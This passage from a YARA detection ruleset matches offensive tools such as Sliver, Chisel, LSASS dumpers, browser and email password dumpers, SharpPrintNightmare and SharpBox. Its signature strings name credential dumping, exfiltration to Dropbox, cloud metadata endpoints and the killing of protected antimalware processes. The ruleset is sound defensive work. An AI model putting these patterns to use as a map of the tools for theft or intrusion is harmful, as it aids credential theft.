		$s3 = "venom_agent -" ascii
		$s4 = "bufferssh-userauthtransmitfileunknown portwirep: p->m= != sweepgen" ascii
		$s5 = "golang.org/x/crypto/ssh.(*handshakeTransport).readPacket"
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_HFS_Webserver : FILE
{
	meta:
		description = "Detects HFS Web Server"
		author = "ditekSHen"
		id = "2c9d9a38-8a6c-5c53-84bc-4eef77933172"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L647-L658"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f5b8947e3858466dae5f476790842500f8184c4676d8c0c4870adb7fd3206652"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "SOFTWARE\\Borland\\Delphi\\" ascii
		$s2 = "C:\\code\\mine\\hfs\\scriptLib.pas" fullword ascii
		$s3 = "hfs.*;*.htm*;descript.ion;*.comment;*.md5;*.corrupted;*.lnk" ascii
		$s4 = "Server: HFS" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_INDICATOR_TOOL_PROX_Lanproxy : FILE
{
	meta:
		description = "Detects lanproxy-go-client"
		author = "ditekSHen"
		id = "71fc23d9-9aae-5666-832b-90cf5a86c474"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L660-L675"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "13a5aaea0fb522e3badb4a60d2db8d7dd46e5721bd6dc2e2b2e29d49e197c375"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "serverShare" fullword ascii
		$s2 = "parkingOnChan" fullword ascii
		$s3 = "{{join .Names \", \"}}{{\"\\t\"}}{{.Usage}}{{end}}{{end}}{{end}}{{end}}{{" ascii
		$s4 = "</table></thead></tbody>" fullword ascii
		$s5 = "value=aacute;abreve;addressagrave;alt -> andand;angmsd;angsph;any -> apacir;approx;articleatilde;barvee;barwed;bdoUxXvbecaus;ber" ascii
		$s6 = "/dev/urandom127.0.0.1:" ascii
		$s7 = "non-IPv4 addressnon-IPv6 addressntrianglelefteq;object is remotepacer: H_m_prev=reflect mismatchregexp: Compile(remote I/O error" ascii
		$s8 = ".WithDeadline(.in-addr.arpa." ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f ) and 6 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Peirates : FILE
{
	meta:
		description = "Detects Kubernetes penetration tool Peirates"
		author = "ditekSHen"
		id = "74ce83ed-0d93-5cb0-97e8-6885ae83b336"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L677-L694"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "321f06af098283638f99d027dc3c95a25a72192a25c7afa5081a7dbff8c3acb7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "DeprecatedServiceAccount" fullword ascii
		$s2 = "LivenessProbe" fullword ascii
		$s3 = "\\t\\tkubectl expose rs nginx --port=80 --target-port=8000" ascii
		$s4 = "\\t\\tkubectl run hazelcast --image=hazelcast --port=5701" ascii
		$s5 = "COMPREPLY[$i]=${COMPREPLY[$i]#\"$colon_word\"}" ascii
		$s6 = "%*polymorphichelpers.HistoryViewerFunc" ascii
		$s7 = "ListenAndServeTLS" ascii
		$s8 = "DownwardAPI" ascii
		$s9 = "; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);proto:" ascii
		$s10 = "name: attack-" ascii
	condition:
		uint16( 0 ) == 0x457f and 9 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Botb : FILE
{
	meta:
		description = "Detects Break out the Box (BOtB)"
		author = "ditekSHen"
		id = "acafa6dd-51b9-5945-b1df-7763a97a424f"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L696-L710"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a01f796b27852f9217d9bfea32f8d9ffb3c88521d4413f6612f7a0544cf44fb3"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "to unallocated span%%!%c(*big.Float=%s), RecursionDesired: /usr/share/zoneinfo//{Bucket}/{Key+}?acl/{Bucket}?accelerate/{Bucket}?encryption/{Bucket}?" ascii
		$s2 = "exploit CVE-2019-5736 with command: [ERROR] In Enabling CGROUP Notifications -> 'echo 1 > [INFO] CGROUP may exist, attempting exploit regardless" ascii
		$s3 = "main.execShellCmd" ascii
		$s4 = "[*] Data uploaded to:[+]" ascii
		$s5 = "whitespace or line breakfailed to find credentials in the environment.failed to get %s EC2 instance role credentialsfirst" ascii
		$s6 = "This process will exit IF an EXECVE is called in the Container or if the Container is manually stoppedPerform reverse DNS lookups" ascii
		$s7 = "http: request too largehttp://100.100.100.200/http://169.254.169.254/index out of range" ascii
	condition:
		uint16( 0 ) == 0x457f and 6 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_LSASS_Createminidump : FILE
{
	meta:
		description = "Detects CreateMiniDump tool"
		author = "ditekSHen"
		id = "0d8642d1-2ed9-5270-a54a-6ba788026f5f"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L712-L724"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "577ccc783554363c0bed80d9642e8a0f107fc2ec66d84f76b9556aa3506c86c0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "lsass.dmp" fullword wide
		$s2 = "lsass dumped successfully!" ascii
		$s3 = "Got lsass.exe PID:" ascii
		$s4 = "\\experiments\\CreateMiniDump\\CreateMiniDump\\" ascii
		$s5 = "MiniDumpWriteDump" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Browserpassworddumper : FILE
{
	meta:
		description = "Detects SecurityXploded Browser Password Dumper tool"
		author = "ditekSHen"
		id = "ce90ef96-43c0-5d68-ba7d-21aafb3f754b"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L726-L737"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b3c6e9b393c244c7bf6489f54ebd622a09da050a65d6dbde325d5bcd7d85f39a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\projects\\windows\\BrowserPasswordDump\\Release\\FireMaster.pdb" ascii
		$s2 = "%s: Dumping passwords" fullword ascii
		$s3 = "%s - Found login data file...dumping the passwords from file %s" fullword ascii
		$s4 = "%s Dumping secrets from login json file %s" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Ftppassworddumper : FILE
{
	meta:
		description = "Detects SecurityXploded FTP Password Dumper tool"
		author = "ditekSHen"
		id = "d876c201-b527-531c-9563-0b1a1c6334cb"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L739-L750"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "941bfb9b1ce71252c5aa05bd654bdcf1af6cc1d5f720bc2c239e17454f15beda"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\projects\\windows\\FTPPasswordDump\\Release\\FireMaster.pdb" ascii
		$s2 = "//Dump all the FTP passwords to a file \"c:\\passlist.txt\"" ascii
		$s3 = "//Dump all the FTP passwords to console" ascii
		$s4 = "FTP Password Dump" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Emailpassworddumper : FILE
{
	meta:
		description = "Detects SecurityXploded Email Password Dumper tool"
		author = "ditekSHen"
		id = "25e140de-4a0a-5d4f-a93f-a414b9879f2b"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L752-L764"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7f07611385d45bf45bfb8ee95e56febfb992fb7b416321c5b590878636a5c1b7"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\projects\\windows\\EmailPasswordDump\\Release\\FireMaster.pdb" ascii
		$s2 = "//Dump all the Email passwords to a file \"c:\\passlist.txt\"" ascii
		$s3 = "EmailPasswordDump" fullword wide
		$s4 = "//Dump all the Email passwords to console" ascii
		$s5 = "Email Password Dump" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_Goclr : FILE
{
	meta:
		description = "Detects binaries utilizing Go-CLR for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory"
		author = "ditekSHen"
		id = "21766cad-17dd-525a-9ebe-cd90e892cff1"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L800-L814"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a2a79793b1f530bcf9f79983f29a655f270cf0147606690b19eaeb82d4bd1f0d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "github.com/ropnop/go-clr.(*IC" ascii
		$s2 = "EnumKeyExWRegEnumValueWRegOpenKeyExWRtlCopyMemoryRtlGetVersionShellExecuteWStartServiceW" ascii
		$c1 = "ICorRuntimeHost" ascii wide
		$c2 = "CLRCreateInstance" ascii wide
		$c3 = "ICLRRuntimeInfo" ascii wide
		$c4 = "ICLRMetaHost" ascii wide
		$go = "Go build ID:" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) or ( 2 of ( $c* ) and $go )
}

rule DITEKSHEN_INDICATOR_TOOL_Edgecookiesview : FILE
{
	meta:
		description = "Detects EdgeCookiesView"
		author = "ditekSHen"
		id = "42c6eb2e-bf5c-5956-9009-c29551ce715d"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L833-L847"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9ba6d416e02c1958806356c67636609dcca758da9f7e3d1fc15244cc5ff038fc"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "AddRemarkCookiesTXT" fullword wide
		$s2 = "# Netscape HTTP Cookie File" fullword wide
		$s3 = "/scookiestxt" fullword wide
		$s4 = "/deleteregkey" fullword wide
		$s5 = "Load cookies from:" wide
		$s6 = "Old cookies folder of Edge/IE" wide
		$pdb = "\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( ( $pdb ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Sharpnopsexec : FILE
{
	meta:
		description = "Detects SharpNoPSExec"
		author = "ditekSHen"
		id = "10898364-6d77-5127-a16b-5fd3b1c652d5"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L849-L864"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c1d76639e7b6464d302729b48bbcd810216132868035904bb9866e7b31ccfac2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "|-> Service" wide
		$s2 = "authenticated as" wide
		$s3 = "ImpersonateLoggedOnUser failed. Error:{0}" wide
		$s4 = "uPayload" fullword ascii
		$s5 = "pcbBytesNeeded" fullword ascii
		$s6 = "SharpNoPSExec" ascii wide
		$pdb1 = "SharpNoPSExec\\obj\\Debug\\SharpNoPSExec.pdb" ascii
		$pdb2 = "SharpNoPSExec\\obj\\Release\\SharpNoPSExec.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( 1 of ( $pdb* ) and 1 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Chromecookiesview : FILE
{
	meta:
		description = "Detects ChromeCookiesView"
		author = "ditekSHen"
		id = "c1b89468-edf2-59d1-89b3-5822fa19d6ab"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L866-L880"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "81acd0978fc03525e7092ab51c681b61f9de0252066ce871298e2cd96b1d3024"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "AddRemarkCookiesTXT" fullword wide
		$s2 = "Decrypt cookies" wide
		$s3 = "/scookiestxt" fullword wide
		$s4 = "/deleteregkey" fullword wide
		$s5 = "Cookies.txt Format" wide
		$s6 = "# Netscape HTTP Cookie File" wide
		$pdb = "\\ChromeCookiesView\\Release\\ChromeCookiesView.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( ( $pdb ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Sliver : FILE
{
	meta:
		description = "Detects Sliver implant cross-platform adversary emulation/red team"
		author = "ditekSHen"
		id = "e0c5404b-8e6b-5c3a-9e37-56012c3802dd"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L882-L900"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4f9442b74c84c7b4a8fcf93de2919d12efe2f41d0b4e8514b43822fba0962af2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "github.com/bishopfox/sliver/protobuf/sliverpbb." ascii
		$s1 = ".commonpb.ResponseR" ascii
		$s2 = ".PortfwdProtocol" ascii
		$s3 = ".WGTCPForwarder" ascii
		$s4 = ".WGSocksServerR" ascii
		$s5 = ".PivotEntryR" ascii
		$s6 = ".BackdoorReq" ascii
		$s7 = ".ProcessDumpReq" ascii
		$s8 = ".InvokeSpawnDllReq" ascii
		$s9 = ".SpawnDll" ascii
		$s10 = ".TCPPivotReq" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xfacf ) and ( 1 of ( $x* ) or 5 of ( $s* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_Backstab : FILE
{
	meta:
		description = "Detect Backstab tool capable of killing antimalware protected processes by leveraging sysinternals Process Explorer (ProcExp) driver"
		author = "ditekSHen"
		id = "1e514d03-9b78-5e75-9a31-02c0413e23a7"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L923-L939"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d25c3ff4d7c120fdf7c275d11da7a321bcbdb275dcfaa699b5bb4bd66167ec92"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "NtLoadDriver: %x" fullword ascii
		$s2 = "POSIXLY_CORRECT" fullword ascii
		$s3 = "\\\\.\\PROCEXP" ascii
		$s4 = "ProcExpOpenProtectedProcess.DeviceIoControl: %" ascii
		$s5 = "ProcExpKillHandle.DeviceIoControl" ascii
		$s6 = "[%#llu] [%ws]: %ws" fullword ascii
		$s7 = "D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR" wide
		$s8 = "-k -d c:\\\\driver.sys" ascii
		$s9 = "backstab.exe -" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_INDICATOR_TOOL_EXP_Sharpprintnightmare : FILE
{
	meta:
		description = "Detect SharpPrintNightmare"
		author = "ditekSHen"
		id = "15f52fce-27cc-52e7-91d5-7e2f6db5b596"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L941-L961"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "22c890a22ce6b7c1a06068018364f7c5a2afe1bee5b5bc6a8bae3703a11fac26"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "RevertToSelf() Error:" wide
		$s2 = "NeverGonnaGiveYou" wide
		$s3 = "\\Amd64\\UNIDRV.DLL" wide
		$s4 = ":\\Windows\\System32\\DriverStore\\FileRepository\\" wide
		$s5 = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}" wide
		$s6 = "\\SharpPrintNightmare\\" ascii
		$s7 = { 4e 61 6d 65 09 46 75 6c 6c 54 72 75 73 74 01 }
		$s8 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages" wide
		$s9 = "ntprint.inf_amd64" wide
		$s10 = "AddPrinterDriverEx" wide
		$s11 = "addPrinter" ascii
		$s12 = "DRIVER_INFO_2" ascii
		$s13 = "APD_COPY_" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_INDICATOR_TOOL_REC_Adfind : FILE
{
	meta:
		description = "Detect ADFind"
		author = "ditekSHen"
		id = "2f0d02a1-7488-5645-aa08-1eadee2862e8"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L963-L974"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "41fb9f72032f76adc6f1fccd25a1364f153eb2430063e9d582f3dcd9fc9ac84a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\AdFind\\AdFind\\AdFind.h" ascii
		$s2 = "\\AdFind\\AdFind\\AdFind.cpp" ascii
		$s3 = "\\AdFind\\Release\\AdFind.pdb" ascii
		$s4 = "joeware_default_adfind.cf" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 2 of them
}

rule DITEKSHEN_INDICATOR_TOOL_CNC_Chisel : FILE
{
	meta:
		description = "Detect binaries using Chisel"
		author = "ditekSHen"
		id = "d126f2c8-655f-564f-ae46-f6bd6385dcac"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L976-L990"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "08c7b2c4725431c1bf85ae8068f4250c98e58890e3b4c97aa9e419e4f487cada"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "chisel-v" ascii
		$s2 = "sendchisel-v" ascii
		$s3 = "<-chiselclosedcookiedomainefenceempty" ascii
		$ws1 = "Sec-WebSocket-Key" ascii
		$ws2 = "Sec-WebSocket-Protocol" ascii
		$ws3 = "Sec-Websocket-Version" ascii
		$ws4 = "Sec-Websocket-Extensions" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $s* ) and 3 of ( $ws* ) )
}


rule DITEKSHEN_INDICATOR_TOOL_EXFIL_Sharpbox : FILE
{
	meta:
		description = "Detect SharpBox, C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API"
		author = "ditekSHen"
		id = "cd834fe2-dc77-509d-a8f9-d631f395bcd8"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1061-L1080"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b03ab3786b2a2e6774d94be4edf700a7154d8d400c7b2b31c73c68ce9fe0c08a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "UploadData" fullword ascii
		$s2 = "isAttached" fullword ascii
		$s3 = "DecryptFile" fullword ascii
		$s4 = "set_dbxPath" fullword ascii
		$s5 = "set_dbxToken" fullword ascii
		$s6 = "set_decrypt" fullword ascii
		$s7 = "GeneratePass" fullword ascii
		$s8 = "FileUploadToDropbox" fullword ascii
		$s9 = "\\SharpBox.pdb" ascii
		$s10 = "https://content.dropboxapi.com/2/files/upload" fullword wide
		$s12 = "Dropbox-API-Arg: {\"path\":" wide
		$s13 = "X509Certificate [{0}] Policy Error: '{1}'" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and 7 of them
}

rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpstrike : FILE
{
	meta:
		description = "Detect SharpStrike post-exploitation tool written in C# that uses either CIM or WMI to query remote systems"
		author = "ditekSHen"
		id = "00b36fce-3d84-51cf-a800-042d7484d78c"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1145-L1160"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c479d85878d9f9659fc157f0c6706703af3748a8740df6a5090cddc720dd7661"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "SharpStrike v" wide
		$x2 = "[*] Agent is busy" wide
		$x3 = "SharpStrike_Fody" fullword ascii
		$s1 = "ServiceLayer.CIM" fullword ascii
		$s2 = "Models.CIM" fullword ascii
		$s3 = "<HandleCommand>b__" ascii
		$s4 = "MemoryStream" fullword ascii
		$s5 = "GetCommands" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or all of ( $s* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladon : FILE
{
	meta:
		description = "Detect Ladon tool that assists in lateral movement across a network"
		author = "ditekSHen"
		id = "227e63ce-8383-5bb1-870e-6c4e767b402f"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1162-L1178"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f31276bcbcae672966cfddc9af4f5b507d7244360b421de7fe1e811fb954fb7d"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$d1 = "Ladon.VncSharp.dll" fullword ascii
		$d2 = "Ladon.Renci.SshNet.dll" fullword ascii
		$s1 = "Ladon." ascii
		$s2 = "nowPos" fullword ascii
		$s3 = "Scan" fullword ascii
		$s4 = "QLZ_STREAMING_BUFFER" fullword ascii
		$s5 = "sizeDecompressed" fullword ascii
		$s6 = "UpdateByte" fullword ascii
		$s7 = "kNumBitPriceShiftBits" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $d* ) or all of ( $s* ) or ( 1 of ( $d* ) and 5 of ( $s* ) ) )
}

rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladonexp : FILE
{
	meta:
		description = "Detect Ladon tool that assists in lateral movement across a network"
		author = "ditekSHen"
		id = "bd1e7ef5-ae68-5e0d-8261-0eb765453bae"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1180-L1191"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "22f6a717b8464bddd850bb5ea8b416e99bceb91fe917f188be178f2fff620730"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "txt_cscandll.Text" fullword wide
		$s2 = "CscanWebExpBuild.frmMain.resources" fullword ascii
		$s3 = "= \"$HttpXforwardedFor$\";" ascii
		$s4 = "namespace netscan" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 3 of them
}

rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladongo : FILE
{
	meta:
		description = "Detect LadonGo tool that assists in lateral movement across a network"
		author = "ditekSHen"
		id = "4dbf7f24-b9ab-5629-8e78-667d9623dea9"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1193-L1207"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "606172b8fb251cb4ad75de40b55d74779aef6409832f6edf09068083143ec749"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$f1 = "main.VulDetection" fullword ascii
		$f2 = "main.BruteFor" fullword ascii
		$f3 = "main.RemoteExec" fullword ascii
		$f4 = "main.Exploit" fullword ascii
		$f5 = "main.Noping" fullword ascii
		$f6 = "main.LadonScan" fullword ascii
		$f7 = "main.LadonUrlScan" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0x457f or uint16( 0 ) == 0xface ) and 5 of ( $f* )
}

rule DITEKSHEN_INDICATOR_TOOL_ENC_Diskcryptor : FILE
{
	meta:
		description = "Detect DiskCryptor open encryption solution that offers encryption of all disk partitions"
		author = "ditekSHen"
		id = "22b25d5c-d67f-53ac-9ae8-2de077afdda9"
		date = "2020-11-06"
		modified = "2024-09-25"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L1209-L1232"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7ef0bf3b11f7e4055908518ce5b6a49e04d7002ebc3396fd2da32b4e13cf68e0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "\\DiskCryptor\\DCrypt\\" ascii
		$s1 = "Error getting %sbootloader configuration" fullword wide
		$s2 = "loader.iso" fullword wide
		$s3 = "Bootloader config for [%s]" fullword wide
		$s4 = "dc_get_mbr_config" fullword ascii
		$s5 = "dc_encrypt_iso_image" fullword ascii
		$s6 = "dc_start_re_encrypt" fullword ascii
		$s7 = "dc_start_encrypt" fullword ascii
		$s8 = "_w10_reflect_" ascii
		$d1 = "\\DosDevices\\dcrypt" fullword wide
		$d2 = "$dcsys$_fail_%x" fullword wide
		$d3 = "%s\\$DC_TRIM_%x$" fullword wide
		$d4 = "\\Device\\dcrypt" fullword wide
		$d5 = "%s\\$dcsys$" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or 4 of ( $s* ) or 3 of ( $d* ) )
}

rule DITEKSHEN_INDICATOR_TOOL_PRI_Juicypotato : FILE
{
	meta:
		description = "Detect JuicyPotato"
		author = "ditekSHen"
		id = "2fb52598-9771-507b-a06d-7b9bc693ffee"
		date = "2020-11-06"
